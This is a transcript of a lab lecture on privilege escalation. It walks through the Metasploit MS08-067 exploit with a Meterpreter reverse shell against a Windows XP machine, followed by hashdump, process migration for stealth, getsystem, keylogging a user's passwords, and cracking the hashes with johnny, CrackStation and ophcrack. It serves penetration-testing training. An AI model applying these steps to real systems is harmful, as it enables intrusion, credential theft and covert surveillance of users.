Instructor: So in this lab, 2 2
we're gonna work on escalating privileges. 3 3
What we're gonna do here 4 4
is we're gonna work on stealing passwords 5 5
and cracking those passwords. 6 6
Also, we're gonna migrate around from processes 7 7
from a system level to a user level and back. 8 8
To get started we need to open up 9 9
our Metasploit Framework. 10 10
From our Metasploit Framework, 11 11
we're gonna use the same exploit we did last time. 12 12
So we'll just type in 13 13
use exploit/windows/smb/mso8_067_netapi. 14 14
Then we're gonna set our payload, 15 15
and we're gonna use the Meterpreter payload 16 16
that we used before which is 17 17
windows/meterpreter/reverse_tcp. 18 18
Now, at this point, we're gonna show our options, 19 19
and you'll notice that we need to set 20 20
our RHOST and our LHOST. 21 21
So we're gonna set our RHOST for our Windows machine. 22 22
In my case, 23 23
the IP for that is .56.100, 24 24
and then I'm gonna set my LHOST to my Kali machine, 25 25
which in my case is 56.102. 26 26
Then, I will show my options one more time. 27 27
You'll see at this point 28 28
that I have my Windows machine IP as my RHOST. 29 29
We're gonna be attacking Port 445 30 30
with the netapi vulnerability. 31 31
We're gonna use our payload of Meterpreter 32 32
and we're gonna have the call back 33 33
go back to our Kali machine on Port 4444. 34 34
Now at this point, 35 35
we're just gonna type in exploit. 36 36
Just like before, 37 37
we now have an established connect 38 38
where we're triggered the vulnerability 39 39
in the Windows XP machine 40 40
and it is called back to us with stage two. 41 41
We have that connection from the Windows machine, 42 42
from the Windows machine here to our Kali machine here. 43 43
Now we're at the Meterpreter prompt, so what do we wanna do? 44 44
Well, the first thing I want to do 45 45
is I wanna know what process I am. 46 46
I'm gonna type in getpid, 47 47
and it tells me that I'm process 980. 48 48
To understand what that is, 49 49
I'm gonna type in ps, 50 50
which is gonna list all of the running processes 51 51
on the Windows machine. 52 52
Here you can see that the running process, 53 53
expand this just a little bit more for you. 54 54
As you can see, process 980 is right here. 55 55
It's the service host process. 56 56
That is actually the system-level user, NT AUTHORITY\SYSTEM. 57 57
Right now, we already have 58 58
system-level rights on this machine, 59 59
so there's no need to escalate our privileges, 60 60
but if we were a lower-level user, 61 61
we would have to escalate our privileges up. 62 62
I'm gonna show you some techniques for doing that as well. 63 63
The reason why we are a system-level user in this case 64 64
is because the exploit we're doing is the service host 65 65
and the service host is always run as SYSTEM. 66 66
If instead we use something like a spearfishing campaign, 67 67
we would end up being brought in as that user 68 68
who probably doesn't have admin rights, 69 69
and we'd have to work our way up. 70 70
We can still run a lot of those same processes, 71 71
like hash dumps and password cracking, 72 72
to start from there and migrate upward. 73 73
Now that we see what process we're in, 74 74
let's go ahead and see what system ID we do have. 75 75
Let's type in getsid. 76 76
You'll notice that it says we are S-1-5-18. 77 77
Anything under 500 is gonna be a system-level type process, 78 78
whether that's gonna be something like 79 79
the LOCAL SERVICE or the SYSTEM itself. 80 80
Once we get into users, 81 81
they start out at 1000 and go above. 82 82
If you're the administrator, that's a 500-level account. 83 83
This last dash number here 84 84
is gonna tell us a lot about 85 85
what type of process that is and what type of user we are. 86 86
Now that we're here, 87 87
let's go ahead and do our hash dump, 88 88
and we'll see what other users 89 89
are on the system. 90 90
Here we go. 91 91
We have the Administrator account. 92 92
Again, that's that SID 500. 93 93
We have a Guest, which is SID 501. 94 94
We have the HelpAssistant, starts at 1000. 95 95
The John Sim user is user 1003. 96 96
Then we have this SUPPORT account, which is 1002. 97 97
What I'm gonna do is I'm just gonna 98 98
copy all of this text here 99 99
and we're gonna put it into a text file, 100 100
and we're gonna save that to our desktop. 101 101
To do that, I'm just gonna open the Terminal here. 102 102
I'm gonna type in gedit, 103 103
which is a graphical text editor 104 104
and we can just Paste that in. 105 105
Then we're gonna go ahead and save it to the Desktop 106 106
so we'll know where it is. 107 107
We'll just call that hashdump. 108 108
At this point, 109 109
we can close that out and we can close out that one. 110 110
Now we have a text file with that information 111 111
so we can use that in our password cracking. 112 112
Before we get to that, 113 113
I'm gonna still play with Meterpreter 114 114
a little bit more here first and show you some other things. 115 115
One of the things I talked about before 116 116
is that we can do a migration from one process to another. 117 117
That should change us into that user. 118 118
For instance, right now, we are in process 980, 119 119
which is this NT AUTHORITY\SYSTEM. 120 120
Now, if I wanted to become John Sim, for instance, 121 121
the user on this machine, 122 122
because if I start running things in SYSTEM 123 123
like the Notepad, that would look suspicious, 124 124
but if I did it as John Sim, it wouldn't. 125 125
I'm gonna go ahead 126 126
and change myself into this one right here, 127 127
which is process 1248, 128 128
and that should change me into John Sim, 129 129
who has a SID of 1003. 130 130
What we're gonna do is just type in migrate 131 131
and the PID we wanna go to, which in this case is 1248. 132 132
So, migrate to 1248. 133 133
You'll see that we're migrating from 980 to 1248. 134 134
It take a couple seconds. 135 135
Now we should be loaded into that process. 136 136
It says we're complete. 137 137
Let's get PID and make sure 138 138
that we are in the process we wanted. 139 139
Getpid, we verified we are in 1248. 140 140
Now if I do ps, you can see that 1248 141 141
is a process owned by John Sim. 142 142
Let's get our SID and verify that. 143 143
It should tell us that we're SID 1003, 144 144
because that's John Sim's SID. 145 145
In this case, we do have SID 1003, 146 146
which is John Sim. 147 147
That's how you can migrate 148 148
from one user to another and one process to another. 149 149
Why else might you wanna migrate processes? 150 150
Well, we'll talk about covering our tracks later, 151 151
but one of the things we wanna do 152 152
is to cover our tracks is to migrate from processes. 153 153
For instance, if we did a vulnerability, 154 154
such as a Internet Explorer exploit, 155 155
Internet Explorer tends to crash a lot. 156 156
If the process I'm sitting in crashes, 157 157
I'm gonna lose my access. 158 158
If I break in through Internet Explorer, 159 159
I'm gonna want to migrate to something 160 160
more stable and more hidden, 161 161
such as the service host account 162 162
or the services.exe 163 163
or explorer.exe, 164 164
because they're a lot more stable 165 165
and they don't crash as often. 166 166
Now, the other thing to know 167 167
is why might I wanna go to a user 168 168
that's not System or Admin? 169 169
Like in this case, John Sim's a regular user. 170 170
Why would I wanna migrate into him? 171 171
Well, one of the reason why I might wanna do that 172 172
is if I wanted to do key logging. 173 173
If I wanted to key log John Sim, 174 174
I have to be logged in as John Sim. 175 175
In this case, I now am John Sim, 176 176
so I can start my key logger and capture those keystrokes. 177 177
We talked about this before, 178 178
but I'll go ahead and show that to you now because again, 179 179
this is another way to escalate our privileges. 180 180
If John happens to have admin rights 181 181
and he's on his user account daily 182 182
and then types in his password 183 183
to elevate into an admin status, 184 184
like he installed a new printer or something like that, 185 185
we'd be able to capture that password. 186 186
Let me bring up the key logger commands here again, 187 187
just to remind us. 188 188
We'll go up here to Help 189 189
and we have our keyscan_start, 190 190
keyscan_stop, and again, our keyscan_dump 191 191
to get those keystrokes. 192 192
Let's go ahead and start it 193 193
by doing keyscan_start. 194 194
If I go here and do a keyscan_start 195 195
and now John Sim is on his machine. 196 196
Let's say he was opening up a Notepad 197 197
and typing in his passwords. 198 198
Here's my email address and my password of P@$$w0rd. 199 199
Then he decides you know, 200 200
that's really not a secure way to save my passwords. 201 201
I'm gonna go ahead and delete those. 202 202
He just gets rid of that, never had any evidence. 203 203
Well, we happened to capture it because we 204 204
were capturing his keystrokes. 205 205
Right here, you can see it. 206 206
He pressed Return, he did Password List, 207 207
hit Return, typed in that, hit Return, and then P@$$w0rd. 208 208
Why might this be useful? 209 209
Well, if I had my key scanner going the whole time 210 210
and I'm capturing all this data, 211 211
I can capture his side of all conversations. 212 212
All his instant messages, all his emails, 213 213
all his usernames and passwords. 214 214
All this information is stuff that I can use 215 215
to elevate my permissions 216 216
and spread laterally into other systems. 217 217
I might now have his usernames and password for his banking, 218 218
his Facebook, his Twitter, all of that stuff, 219 219
because we captured all those keystrokes. 220 220
It's a pretty cool technique. 221 221
Now, going back to our escalating privileges, 222 222
we're still sitting here as John Sim as the user. 223 223
The next thing we wanna look at 224 224
is migrating back to SYSTEM 225 225
and we'll go ahead and do that. 226 226
We'll just do a ps, 227 227
so we can figure out what process we wanna go to, 228 228
and we can go ahead and migrate ourself into 229 229
980 again, just like we were before, 230 230
and go back to SYSTEM. 231 231
We'll just migrate 980. 232 232
Again, that's gonna move us back and at this point, 233 233
we should now be the system-level user. 234 234
We'll do that getpid. 235 235
We're in 980. 236 236
Getsid, we're back to the system-level user, 237 237
which is that -18. 238 238
One other thing I'll show you. 239 239
We're gonna go back to John Sim here one more time 240 240
'cause I forgot to show this to you. 241 241
We'll go back to his PID which was 1248. 242 242
Now we're back here. 243 243
You can see that we are user 1003, again that's John Sim. 244 244
Another way to get SYSTEM 245 245
is actually using the commands getsystem, 246 246
and it's part of Meterpreter. 247 247
If you just type in getsystem, 248 248
it will go ahead and move and get you system-level access. 249 249
Now, if I get my SID, 250 250
I am back here as the system level. 251 251
Now, let's see what process it put us in. 252 252
We're still in John's process, 253 253
but we are the system user now. 254 254
That's something else that you can look at here. 255 255
It's an interesting technique and it works most of the time. 256 256
Now, the time this won't work 257 257
is if you are some low-level account that's below a user. 258 258
If we look up here in the process list, 259 259
you'll see that there's this 260 260
LOCAL SERVICE account, for instance. 261 261
This isn't even a user account. 262 262
This is below user. 263 263
All it does is local services. 264 264
This happens to be for the sound drivers in my system. 265 265
You also have this NETWORK SERVICES. 266 266
These processes have such low-level access, 267 267
you can't migrate back into John or back into SYSTEM 268 268
because you're too low a level at that point. 269 269
The only way to break back into this 270 270
is actually to exit out of the system 271 271
and then re-exploit the system. 272 272
Be careful where you jump into 273 273
because if you have system- or domain-level rights 274 274
and you go down to a standard user 275 275
to do something like a keystroke, 276 276
depending on that user's level of access, 277 277
you can actually get yourself stuck in that user 278 278
and you're gonna be done at that point. 279 279
That's why being able to have their password 280 280
to be able to log in as them is very important. 281 281
That's where our hashdump came in. 282 282
If you remember, we had run the hashdump command 283 283
and we got all of these hashes. 284 284
What I ended up doing with them 285 285
is I put them in this text file. 286 286
What we're gonna do is we're gonna use 287 287
a program called johnny. 288 288
Under applications, 289 289
we'll go into Password Attacks and click on johnny. 290 290
Now from johnny, we're gonna Open a password file. 291 291
The file we're gonna open is on our desktop 292 292
and it's called hashdump. 293 293
That was the file that we put in the text. 294 294
As we go through it, 295 295
it immediately starts and it starts 296 296
going through the attack for us. 297 297
It's gonna try to crack any of the passwords 298 298
it can find based on the hashes. 299 299
Here, you see Administrator was already cracked as PASSWORD, 300 300
and it's working on John Sim. 301 301
So far, it doesn't know what the first part is, 302 302
but it got the last two letters which is H-O. 303 303
Now, this is doing a brute force attack. 304 304
This can take a long time 305 305
as it tries to crack things if they're not real words. 306 306
In the case of John Sim, this actually say DOCTORWHO. 307 307
The first part of it is gonna be DOCTOR with a W at the end. 308 308
That's not a real word, 309 309
so it's gonna take a long time 310 310
for it to go through and do its cracking. 311 311
Now, something that'll be a lot quicker 312 312
is for us to go to something 313 313
like CrackStation on the Internet. 314 314
Let's go ahead and I'll show you 315 315
how that works with John Sim here. 316 316
When we created our Kali machine, 317 317
we didn't allow copy and pasting from Kali 318 318
back to our desktop environment. 319 319
I'm gonna have to actually type that in. 320 320
It's cdd3ae5197aa40cc477a180ba53335e6. 321 321
Then we're gonna go ahead and put in the code over here, 322 322
which Diesel LION, is what it looks like, 323 323
and then crack the hash. 324 324
You'll see how quickly 325 325
it's gonna come back with CrackStation. 326 326
Comes back immediately 327 327
and it gives us lots of different choices 328 328
of what it thinks it could be 329 329
based on the fact that we have that particular hash. 330 330
Now, why are there multiple things 331 331
that it could be based on this hash? 332 332
The reason why we have this duplication 333 333
is there's actually repetition in the hash tables. 334 334
One of the reasons for that 335 335
is that LM hashes only support 14 characters. 336 336
Anything over 14 characters, 337 337
what it does is it breaks them in half, 338 338
seven letters and seven letters, 339 339
hashes each part and then goes again. 340 340
In our case, 341 341
you'll see the fact that we have this doctorWoodland, 342 342
DOCTORWHOWEBGUIDE, doctorwhowebguide, 343 343
and if you hash any of these, it goes back to the same hash. 344 344
Now, what does this tell us? 345 345
Because now we're like oh, which one do we choose? 346 346
Well, if we go back to our Jack the Ripper, 347 347
if you remember, we ended up having, 348 348
if we count the letters, D-O-C-T-O-R-W. 349 349
That is the first seven. 350 350
Notice that all of these first seven are the same, doctorw. 351 351
That's gonna give us the first seven letters guaranteed. 352 352
Well, the nice thing was 353 353
we had already found the last two letters was H-O. 354 354
We could figure out now, it's doctor, W-H-O, DOCTORWHO. 355 355
Then we can use that as the password to get it. 356 356
There's a little bit of work here required, 357 357
and again, eventually, 358 358
johnny is gonna go through and crack it all for us, 359 359
but it hasn't been able to do it yet. 360 360
Now, there's one more program here that we can use. 361 361
In fact, there's lots of different programs 362 362
we can use for password cracking. 363 363
Another one that's really good is ophcrack. 364 364
Now, ophcrack does require you 365 365
to have an Internet connection 366 366
so you can download the tables 367 367
because if you don't have the tables, 368 368
it's not really effective. 369 369
If you go into this area where Table Selection is 370 370
and you click Install, 371 371
you'll be able to install the tables 372 372
once you download them to your system, 373 373
but we're gonna have to connect 374 374
the Kali box to the Internet first to do that. 375 375
Now, where do you get those tables from? 376 376
well, if you click on help, 377 377
it'll tell you exactly where to go. 378 378
You can go to ophcrack.sourceforge.net 379 379
and there is a bunch of tables that they have for you, 380 380
including the XP free, XP free fast, 381 381
and Vista free fast rainbow tables. 382 382
If you want other tables, they do sell those, 383 383
but they do have a cost to them. 384 384
Since we're using XP machine, 385 385
we can download the XP free small or XP free fast 386 386
to try to do this rainbow cracking on your own, 387 387
and see how much more effect it is 388 388
than doing the methods we just saw. 389 389
Again, going through CrackStation, 390 390
all the tables are already loaded 391 391
and it's very quick and easy 392 392
for you to get those passwords.